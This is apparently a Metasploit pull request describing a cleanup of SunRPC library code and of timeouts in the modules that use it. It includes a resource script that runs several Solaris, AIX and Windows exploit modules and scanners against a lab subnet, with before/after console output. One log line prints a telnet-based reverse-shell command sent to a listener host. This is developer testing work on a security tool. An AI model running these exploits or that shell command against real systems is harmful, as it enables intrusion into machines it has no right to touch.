SunRPC lib and module cleanup

In #3767, I made some changes to the XDR code to address some defects, but in doing that I had to test the modules that use this code.  Unfortunately, many of them are painful to use in various ways:

* Inconsistent ```*print_*``` usage, leading to bad and inconsistent experiences when running
* There was a timeout, but it was buried, therefore many of these modules would wait for 20s on a host that didn't even offer RPC services, making scanning larger ```RHOSTS``` really painful.  I exposed this as an option and set it to something more sane, 5s.

Functionality wise, at least with respect to how each host is handled, should be unchanged.

## Validation
 - [ ] Locate some hosts exposing RPC services of some sort
 - [ ] Run the affected modules against all of them, perhaps, confirming that the end result has improved:
  - [ ] exploits/solaris/sunrpc/sadmind_exec
  - [ ] exploits/solaris/sunrpc/sadmind_adm_build_path
  - [ ] exploits/solaris/sunrpc/ypupdated_exec
  - [ ] exploits/windows/emc/networker_format_string
  - [ ] exploits/windows/brightstor/mediasrv_sunrpc
  - [ ] exploits/aix/rpc_cmsd_opcode21
  - [ ] exploits/aix/rpc_ttdbserverd_realpath
  - [ ] auxiliary/scanner/nfs/nfsmount
  - [ ] auxiliary/scanner/misc/sunrpc_portmapper
  - [ ] auxiliary/admin/sunrpc/solaris_kcms_readfile

I have a /24 littered with hosts exposing Sun RPC, so I used the following file to test this before/after:

```
workspace -d sunrpc_cleanup
workspace -a sunrpc_cleanup
setg RHOSTS 192.168.32.0/24
setg RHOST 192.168.32.69
setg THREADS 10
use exploit/solaris/sunrpc/sadmind_exec
run
use exploit/solaris/sunrpc/sadmind_adm_build_path
run
use exploit/solaris/sunrpc/ypupdated_exec
run
use exploit/windows/emc/networker_format_string
run
use exploit/windows/brightstor/mediasrv_sunrpc
run
use exploit/aix/rpc_cmsd_opcode21
run
use exploit/aix/rpc_ttdbserverd_realpath
run
use auxiliary/scanner/nfs/nfsmount
run
use auxiliary/scanner/misc/sunrpc_portmapper
run
use auxiliary/admin/sunrpc/solaris_kcms_readfile
run
```

Before:

```
resource (/tmp/sun.rc)> use exploit/solaris/sunrpc/sadmind_exec
resource (/tmp/sun.rc)> run
[*] Started reverse double handler
[-] 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available
[*] attempting to determine hostname
[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
resource (/tmp/sun.rc)> use exploit/solaris/sunrpc/sadmind_adm_build_path
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
[-] 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available
[*] Creating nop block...
[*] Trying to exploit sadmind with address 0x08062030...
[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
resource (/tmp/sun.rc)> use exploit/solaris/sunrpc/ypupdated_exec
resource (/tmp/sun.rc)> run
[*] Started reverse double handler
[*] Sending PortMap request for ypupdated program
[-] 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available
[*] Sending MAP UPDATE request with command 'sh -c '(sleep 3693|telnet 172.16.10.63 4444|while : ; do sh && break; done 2>&1|telnet 172.16.10.63 4444 >/dev/null 2>&1 &)''
[*] Waiting for response...
[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
resource (/tmp/sun.rc)> use exploit/windows/emc/networker_format_string
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
[-] 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available
[-] Exploit failed: sunrpc_create failed
resource (/tmp/sun.rc)> use exploit/windows/brightstor/mediasrv_sunrpc
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
[-] 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available
[*] Trying target BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)...
resource (/tmp/sun.rc)> use exploit/aix/rpc_cmsd_opcode21
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
[*] Trying to exploit rpc.cmsd with address 0x2022dfc8 ...
[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
resource (/tmp/sun.rc)> use exploit/aix/rpc_ttdbserverd_realpath
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
[*] Trying to exploit rpc.ttdbserverd with address 0x20097430...
[*] Sending procedure 15 call message...
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
resource (/tmp/sun.rc)> use auxiliary/scanner/nfs/nfsmount
resource (/tmp/sun.rc)> run
[*] Scanned  26 of 256 hosts (10% complete)
[*] Scanned  54 of 256 hosts (21% complete)
[+] 192.168.32.66 NFS Export: /tmp [localhost, aix7-1cis-nc1]
[+] 192.168.32.69 NFS Export: /export/home/share []
[+] 192.168.32.64 NFS Export: /tmp []
[+] 192.168.32.64 NFS Export: /var/tmp []
[-] 192.168.32.70:111 - SunRPC - Portmap request failed: Program not available
[-] 192.168.32.72:111 - SunRPC - Portmap request failed: Program not available
[+] 192.168.32.73 NFS Export: /tmp [localhost, aix7-1cis-nc1]
[*] Scanned  77 of 256 hosts (30% complete)
[-] 192.168.32.100:111 - SunRPC - Portmap request failed: Program not available
[-] 192.168.32.105:111 - SunRPC - Portmap request failed: Program not available
[-] 192.168.32.102:111 - SunRPC - Portmap request failed: Program not available
[-] 192.168.32.103:111 - SunRPC - Portmap request failed: Program not available
[+] 192.168.32.104 NFS Export: /tmp []
[+] 192.168.32.104 NFS Export: /var/tmp []
[+] 192.168.32.104 NFS Export: /var/msgs []
[*] Scanned 107 of 256 hosts (41% complete)
[-] 192.168.32.119:111 - SunRPC - Portmap request failed: Program not available
[*] Scanned 128 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 180 of 256 hosts (70% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 232 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
resource (/tmp/sun.rc)> use auxiliary/scanner/misc/sunrpc_portmapper
resource (/tmp/sun.rc)> run
[*] Scanned  27 of 256 hosts (10% complete)
[*] Scanned  52 of 256 hosts (20% complete)
[+] 192.168.32.64:111 - Programs available
[+] 192.168.32.66:111 - Programs available
[+] 192.168.32.69:111 - Programs available
	rpcbind - 111/udp
	rpcbind - 111/tcp
	nfs - 2049/udp
	nfs - 2049/tcp
	UNKNOWN-200006 - 2049/udp
	UNKNOWN-200006 - 2049/tcp
	mountd - 32774/tcp
	mountd - 32862/udp
	UNKNOWN-400005 - 32863/udp
	rquotad - 32865/udp
	rstatd - 32866/udp
	rusersd - 32867/udp
	walld - 32868/udp
	sprayd - 32869/udp
	pcnfsd - 32870/udp
	ttdbserverd - 32776/tcp
	cmsd - 32871/udp
	nlockmgr - 32876/udp
	nlockmgr - 32777/tcp
	status - 32778/tcp
	status - 32875/udp
	nsm_addrand - 32778/tcp
	nsm_addrand - 32875/udp
	PyramidSys5 - 32778/tcp
	PyramidSys5 - 32875/udp
	rpcbind - 111/udp
	rpcbind - 111/tcp
	nfs - 2049/udp
	nfs - 2049/tcp
	UNKNOWN-200006 - 2049/udp
	UNKNOWN-200006 - 2049/tcp
	rquotad - 32832/udp
	rstatd - 32833/udp
	rusersd - 32835/udp
	walld - 32836/udp
	sprayd - 32837/udp
	pcnfsd - 32838/udp
	ttdbserverd - 32772/tcp
	cmsd - 32839/udp
	mountd - 32773/tcp
	mountd - 32840/udp
	UNKNOWN-400005 - 32841/udp
	nlockmgr - 33653/udp
	nlockmgr - 32788/tcp
	status - 32793/tcp
	status - 33884/udp
	nsm_addrand - 32793/tcp
	nsm_addrand - 33884/udp
	PyramidSys5 - 32793/tcp
	PyramidSys5 - 33884/udp
	rpcbind - 111/tcp
	rpcbind - 111/udp
	status - 32772/udp
	status - 32771/tcp
	nsm_addrand - 32772/udp
	nsm_addrand - 32771/tcp
	fmproduct - 32772/tcp
	nlockmgr - 4045/udp
	nlockmgr - 4045/tcp
	metad - 32775/tcp
	rstatd - 32775/udp
	cmsd - 32776/udp
	ttdbserverd - 32776/tcp
	mdcommd - 32777/tcp
	rpc.metamedd - 32778/tcp
	metamhd - 32779/tcp
	rusersd - 32780/tcp
	rusersd - 32777/udp
	rquotad - 32778/udp
	dmispd - 32787/udp
	dmispd - 32782/tcp
	snmpXdmid - 32789/udp
	snmpXdmid - 32783/tcp
	mountd - 33482/udp
	mountd - 33101/tcp
	nfs - 2049/udp
	nfs_acl - 2049/udp
	nfs - 2049/tcp
	nfs_acl - 2049/tcp
	cmsd - 34443/tcp

<trim lots of similar output, plus a ctrl-c by me because I can't wait>

[*] Auxiliary module execution completed
resource (/tmp/sun.rc)> use auxiliary/admin/sunrpc/solaris_kcms_readfile
resource (/tmp/sun.rc)> run
[*] Making request to the ToolTalk Database Server...
[*] TTDB reply: 0xffffffff, 2
[*] TTDB reply: 0xffffffff, 2
[*] Making open() request to the kcms_server...
[-] 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available

[-] Auxiliary failed: Rex::ConnectionTimeout The connection timed out (192.168.32.69:0).
[-] Call stack:
[-]   /home/jhart/labs/git/metasploit-framework/lib/rex/socket/comm/local.rb:302:in `rescue in create_by_type'
[-]   /home/jhart/labs/git/metasploit-framework/lib/rex/socket/comm/local.rb:274:in `create_by_type'
[-]   /home/jhart/labs/git/metasploit-framework/lib/rex/socket/comm/local.rb:33:in `create'
[-]   /home/jhart/labs/git/metasploit-framework/lib/rex/socket.rb:47:in `create_param'
[-]   /home/jhart/labs/git/metasploit-framework/lib/rex/socket.rb:40:in `create'
[-]   /home/jhart/labs/git/metasploit-framework/lib/rex/proto/sunrpc/client.rb:127:in `make_rpc'
[-]   /home/jhart/labs/git/metasploit-framework/lib/rex/proto/sunrpc/client.rb:85:in `call'
[-]   /home/jhart/labs/git/metasploit-framework/lib/msf/core/exploit/sunrpc.rb:89:in `sunrpc_call'
[-]   /home/jhart/labs/git/metasploit-framework/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb:78:in `run'
[*] Auxiliary module execution completed
```

After:

```
resource (/tmp/sun.rc)> use exploit/solaris/sunrpc/sadmind_exec
resource (/tmp/sun.rc)> run
[*] Started reverse double handler
[-] Exploit failed: Rex::Proto::SunRPC::RPCError 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available
resource (/tmp/sun.rc)> use exploit/solaris/sunrpc/sadmind_adm_build_path
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
resource (/tmp/sun.rc)> use exploit/solaris/sunrpc/ypupdated_exec
resource (/tmp/sun.rc)> run
[*] Started reverse double handler
[*] Sending PortMap request for ypupdated program
[-] Exploit failed: Rex::Proto::SunRPC::RPCError 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available
resource (/tmp/sun.rc)> use exploit/windows/emc/networker_format_string
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
[-] Exploit failed: Rex::Proto::SunRPC::RPCError 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available
resource (/tmp/sun.rc)> use exploit/windows/brightstor/mediasrv_sunrpc
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
[-] Exploit failed: Rex::Proto::SunRPC::RPCError 192.168.32.69:111 - SunRPC - Portmap request failed: Program not available
resource (/tmp/sun.rc)> use exploit/aix/rpc_cmsd_opcode21
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
[*] Trying to exploit rpc.cmsd with address 0x2022dfc8 ...
[*] Trying to exploit rpc.cmsd with address 0x2022e220 ...
[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
resource (/tmp/sun.rc)> use exploit/aix/rpc_ttdbserverd_realpath
resource (/tmp/sun.rc)> run
[*] Started reverse handler on 172.16.10.63:4444 
[*] Trying to exploit rpc.ttdbserverd with address 0x20097430...
[*] Sending procedure 15 call message...
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
resource (/tmp/sun.rc)> use auxiliary/scanner/nfs/nfsmount
resource (/tmp/sun.rc)> run
[*] Scanned  29 of 256 hosts (11% complete)
[*] Scanned  52 of 256 hosts (20% complete)
[+] 192.168.32.64 NFS Export: /tmp []
[+] 192.168.32.64 NFS Export: /var/tmp []
[+] 192.168.32.66 NFS Export: /tmp [localhost, aix7-1cis-nc1]
[+] 192.168.32.69 NFS Export: /export/home/share []
[+] 192.168.32.73 NFS Export: /tmp [localhost, aix7-1cis-nc1]
[*] Scanned  79 of 256 hosts (30% complete)
[*] Scanned 103 of 256 hosts (40% complete)
[+] 192.168.32.104 NFS Export: /tmp []
[+] 192.168.32.104 NFS Export: /var/tmp []
[+] 192.168.32.104 NFS Export: /var/msgs []
[*] Scanned 129 of 256 hosts (50% complete)

<trim>

[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
resource (/tmp/sun.rc)> use auxiliary/scanner/misc/sunrpc_portmapper
resource (/tmp/sun.rc)> run
[*] Scanned  30 of 256 hosts (11% complete)
[*] Scanned  52 of 256 hosts (20% complete)
[+] SunRPC Programs for 192.168.32.64
=================================

 Name            Number  Version  Port   Protocol
 ----            ------  -------  ----   --------
 PyramidSys5     200001  2        33884  udp
 PyramidSys5     200001  2        32793  tcp
 PyramidSys5     200001  1        33884  udp
 PyramidSys5     200001  1        32793  tcp
 UNKNOWN-200006  200006  1        2049   tcp
 UNKNOWN-200006  200006  4        2049   tcp
 UNKNOWN-200006  200006  4        2049   udp
 UNKNOWN-200006  200006  1        2049   udp
 UNKNOWN-400005  400005  1        32841  udp
 cmsd            100068  3        32839  udp
 cmsd            100068  5        32839  udp
 cmsd            100068  4        32839  udp
 cmsd            100068  2        32839  udp
 mountd          100005  1        32840  udp
 mountd          100005  3        32840  udp
 mountd          100005  2        32840  udp
 mountd          100005  3        32773  tcp
 mountd          100005  2        32773  tcp
 mountd          100005  1        32773  tcp
 nfs             100003  4        2049   tcp
 nfs             100003  2        2049   tcp
 nfs             100003  2        2049   udp
 nfs             100003  3        2049   udp
 nfs             100003  3        2049   tcp
 nlockmgr        100021  4        33653  udp
 nlockmgr        100021  1        33653  udp
 nlockmgr        100021  1        32788  tcp
 nlockmgr        100021  2        33653  udp
 nlockmgr        100021  3        33653  udp
 nlockmgr        100021  4        32788  tcp
 nlockmgr        100021  3        32788  tcp
 nlockmgr        100021  2        32788  tcp
 nsm_addrand     100133  1        32793  tcp
 nsm_addrand     100133  1        33884  udp
 pcnfsd          150001  1        32838  udp
 pcnfsd          150001  2        32838  udp
 rpcbind         100000  2        111    tcp
 rpcbind         100000  4        111    tcp
 rpcbind         100000  2        111    udp
 rpcbind         100000  3        111    udp
 rpcbind         100000  4        111    udp
 rpcbind         100000  3        111    tcp
 rquotad         100011  1        32832  udp
 rstatd          100001  3        32833  udp
 rstatd          100001  1        32833  udp
 rstatd          100001  2        32833  udp
 rusersd         100002  2        32835  udp
 rusersd         100002  1        32835  udp
 sprayd          100012  1        32837  udp
 status          100024  1        32793  tcp
 status          100024  1        33884  udp
 ttdbserverd     100083  1        32772  tcp
 walld           100008  1        32836  udp

<trim lots of similar output for other hosts>

[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
resource (/tmp/sun.rc)> use auxiliary/admin/sunrpc/solaris_kcms_readfile
resource (/tmp/sun.rc)> run
[*] Making request to the ToolTalk Database Server...
[*] TTDB reply: 0xffffffff, 2
[*] TTDB reply: 0xffffffff, 2
[*] Making open() request to the kcms_server...
[*] Auxiliary module execution completed

```